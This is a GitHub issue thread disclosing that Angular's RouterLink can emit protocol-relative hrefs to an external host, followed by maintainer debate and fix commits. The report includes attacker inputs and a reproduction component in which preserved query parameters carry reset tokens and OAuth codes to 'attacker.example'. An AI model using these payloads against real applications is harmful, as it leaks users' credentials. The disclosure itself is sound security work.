Repository navigation
Description
Which @angular/* package(s) are the source of the bug?
router
Is this a regression?
No
Description
RouterLink is documented as a directive that creates links for Angular route navigation. The input is treated as commands passed to Router#createUrlTree, or as a UrlTree.
However , RouterLink can serialize some internal Angular route command forms into an href that starts with //.
Browsers treat //attacker.example/path as a scheme-relative external URL. On an HTTPS app, that becomes:
https://attacker.example/path
So an application can use RouterLink expecting internal Angular navigation, but Angular writes an attacker-controlled external URL into the DOM.
The issue appears when the internal route command creates an empty leading primary segment after the app root.
Attacker redirect cases
Validated cases that generate an external attacker-controlled href:
| Case | RouterLink command | Attacker-controlled input | Generated href |
|---|---|---|---|
| 1 | ['/', '', host, path] |
host = 'attacker.example', path = 'collect' |
//attacker.example/collect?... |
| 2 | ['/', ...next.split('/')] |
next = '/attacker.example/collect' |
//attacker.example/collect?... |
| 3 | [{ outlets: { primary: next } }] |
next = '/attacker.example/collect' |
//attacker.example/collect?... |
| 4 | [{ outlets: { primary: ['', host, path] } }] |
host = 'attacker.example', path = 'collect' |
//attacker.example/collect?... |
On an HTTPS application, all of these browser-resolve to:
https://attacker.example/collect?...
The impact becomes security-relevant when the app also uses:
queryParamsHandling="preserve"or:
queryParamsHandling="merge"In those modes, Angular can copy the current URL query parameters into the generated external link.
Example trusted URL:
https://victim.example/reset?token=RESET_TOKEN&code=OAUTH_CODE&next=/attacker.example/collect
Generated RouterLink href:
<a
href="//attacker.example/collect?token=RESET_TOKEN&code=OAUTH_CODE&next=..."
></a>Browser destination:
https://attacker.example/collect?token=RESET_TOKEN&code=OAUTH_CODE&next=...
This can leak values such as password reset tokens, magic-login tokens, invite tokens, OAuth authorization codes, OAuth state values, or email verification tokens.
Minimal reproduction
import { Component, inject } from "@angular/core";
import { ActivatedRoute, RouterLink } from "@angular/router";
@Component({
selector: "app-home",
imports: [RouterLink],
template: `
<a
id="case-1"
target="_blank"
[routerLink]="noSplitCommands"
queryParamsHandling="preserve"
>
Case 1
</a>
<a
id="case-2"
target="_blank"
[routerLink]="splitCommands"
queryParamsHandling="preserve"
>
Case 2
</a>
<a
id="case-3"
target="_blank"
[routerLink]="primaryOutletCommands"
queryParamsHandling="preserve"
>
Case 3
</a>
<a
id="case-4"
target="_blank"
[routerLink]="primaryOutletArrayCommands"
queryParamsHandling="preserve"
>
Case 4
</a>
`,
})
export class Home {
private readonly route = inject(ActivatedRoute);
readonly host =
this.route.snapshot.queryParamMap.get("host") ?? "attacker.example";
readonly path = this.route.snapshot.queryParamMap.get("path") ?? "collect";
readonly next =
this.route.snapshot.queryParamMap.get("next") ??
`/${this.host}/${this.path}`;
readonly noSplitCommands = ["/", "", this.host, this.path];
readonly splitCommands = ["/", ...this.next.split("/")];
readonly primaryOutletCommands = [{ outlets: { primary: this.next } }];
readonly primaryOutletArrayCommands = [
{ outlets: { primary: ["", this.host, this.path] } },
];
}Additional
A normal left-click without target may be intercepted by Angular. However, the external href already exists in the DOM and can still be followed by native anchor navigation paths such as:
target="_blank", "_top", "_parent", or named target
middle-click
Ctrl/Cmd-click
context menu -> open link in new tab/window
SSR / pre-hydration link following
no-JavaScript clients
crawlers, preview bots, or link scanners
child click handlers that call stopPropagation() without preventDefault()
Please provide a link to a minimal reproduction of the bug
This was previously reported at https://issuetracker.google.com/u/1/issues/531036578, however it is not considered a problem, I believe it should be reconsidered
Activity
hawkgs commentedon Jul 9, 2026
The obvious solution to this is to sanitize the paths, possibly excluding the dots, but those dots can be legitimate in other use cases.
To me this seems more like a developer's responsibility – not allowing non-sanitized user-entered data into your router links. Besides, won't these types of URLs be a vulnerability only in SSR when the page hasn't been hydrated yet (so, a brief moment), since the routes should be resolved internally by the router?
SkyZeroZx commentedon Jul 9, 2026
Partly, but they are part of the total of the scenarios described, for example in:
Which is case 3 of the example presented, this wouldn't apply, therefore I wouldn't say that this should be the developer's responsibility.
On the other hand, or at least from my personal perspective, it would seem strange to me, compared to Angular's sanitization model which is safe by default, to have to sanitize something that should be safe without any additional effort.
There are other cases where, regardless of whether the router intercepts it, we would still end up browsing; the following are examples.
Or even simpler, opening in a new tab or clicking in the middle (which I personally tend to use as a user) would take you to the attacker's domain.
SkyZeroZx commentedon Jul 9, 2026
On the other hand , the behavior seems somewhat inconsistent
The following cases do not mutate the href like the ones mentioned above that redirect to an attacker domain
fix(router): limit protocol-relative URL handling to serialization
fix(router): limit protocol-relative URL handling to serialization
fix(router): limit protocol-relative URL handling to serialization
SkyZeroZx commentedon Jul 26, 2026
Additional Experimental Platform Navigation Variant
Angular also exposes the
withExperimentalPlatformNavigation()feature. When enabled, the router uses the browser Navigation API instead of the History API, so the default pushState SecurityError no longer occurs. As a result, the generated protocol-relative external URL can be followed, bypassing the default no-target click limitation.Additionally, if we have an example like the following, it can be called directly through router.navigate without any problem.
Open in browser
And if we open this URL, it will take us directly to Angular dev
Note : this doesn't happen with the History API; the browser blocks it by default
atscott commentedon Aug 10, 2026
IMO, this is not a reasonably plausible security issue. Minimally, this issue is predicated on the assumption that
(a) The app allows unrestricted, user-defined link constructions of the first primary segment on the web page (exceedingly unlikely - allowing users to control whether a link goes to /home, /login, /does-not-exist, /pizza, /banana doesn't seem like a reasonable product decision)
(b) The app allows these unrestricted, user-defined links to appear in other site visitor's web pages (also exceedingly unlikely. The argument that you can edit the &next parameter would only affect your own page visit unless you can inject URL params into another user's URL, which in itself would be its own security problem)
5 remaining items
fix(router): limit protocol-relative URL handling to serialization
fix(router): limit protocol-relative URL handling to serialization
fix(router): fall back when serializing protocol-relative URLs
fix(router): fall back when serializing protocol-relative URLs
fix(router): fall back when serializing protocol-relative URLs
fix(router): fall back when serializing protocol-relative URLs
fix(router): fall back when serializing protocol-relative URLs
fix(router): fall back when serializing protocol-relative URLs
fix(router): fall back when serializing protocol-relative URLs
fix(router): fall back when serializing protocol-relative URLs
fix(router): fall back when serializing protocol-relative URLs
angular-automatic-lock-bot commentedon Oct 29, 2026
This issue has been automatically locked due to inactivity.
Please file a new issue if you are encountering a similar or related problem.
Read more about our automatic conversation locking policy.
This action has been performed automatically by a bot.